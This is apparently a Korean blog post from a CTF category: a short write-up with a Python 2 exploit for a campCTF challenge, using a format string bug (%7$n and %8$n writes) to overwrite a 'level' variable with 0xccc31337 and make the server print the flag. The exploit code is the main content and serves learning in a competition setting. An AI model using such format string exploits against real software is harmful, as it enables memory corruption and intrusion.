티스토리 뷰
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | from socket import * from telnetlib import * import struct SERVER = ("challs.campctf.ccc.ac", 10118) s = socket(AF_INET, SOCK_STREAM) s.connect(SERVER) t = Telnet() t.sock = s print t.read_until("name?") fmt = struct.pack("<I", 0x0804A04C) # &level fmt += struct.pack("<I", 0x0804A04C + 2) # &level + 2 fmt += "%" + str(0x1337 - 8) + "c%7$n" # 7th argument ; &level fmt += "%" + str(0xccc3 - 0x1337) + "c%8$n" # 8th argument ; &level + 2 # 1111AAAA 40 b76e5600 bfe57228 bfe57270 b770f570 bfe57220 31313131 41414141 s.send(fmt + "\n") for i in range(60): print s.recv(1024) | cs |
그냥 printf(name); 이런식으로 해서 fsb일어남
level을 0xccc31337과 비교하는 문장이 있고 같으면 플래그 출력
(알고리즘상 기본적으로는 절대 0xccc31337이 될 수 없음)
%7$n, %8$n처럼 쓰이는거 보고 그렇게 풀어봄 너무너무 편함. 자주 사용해야 겠음
'Pwnable > CTF' 카테고리의 다른 글
Codegate 2015 Bookstore (0) | 2015.09.14 |
---|---|
Layer7 CTF 2015 IhaveLongDariYouHaveShotDari (0) | 2015.08.30 |
Inc0gnito 2015 anti-hexray exponly (0) | 2015.08.25 |
0CTF 2015 [FlagGenerator] (2) | 2015.04.16 |
Plaid CTF 2014 [Kappa] (2) | 2015.04.06 |
댓글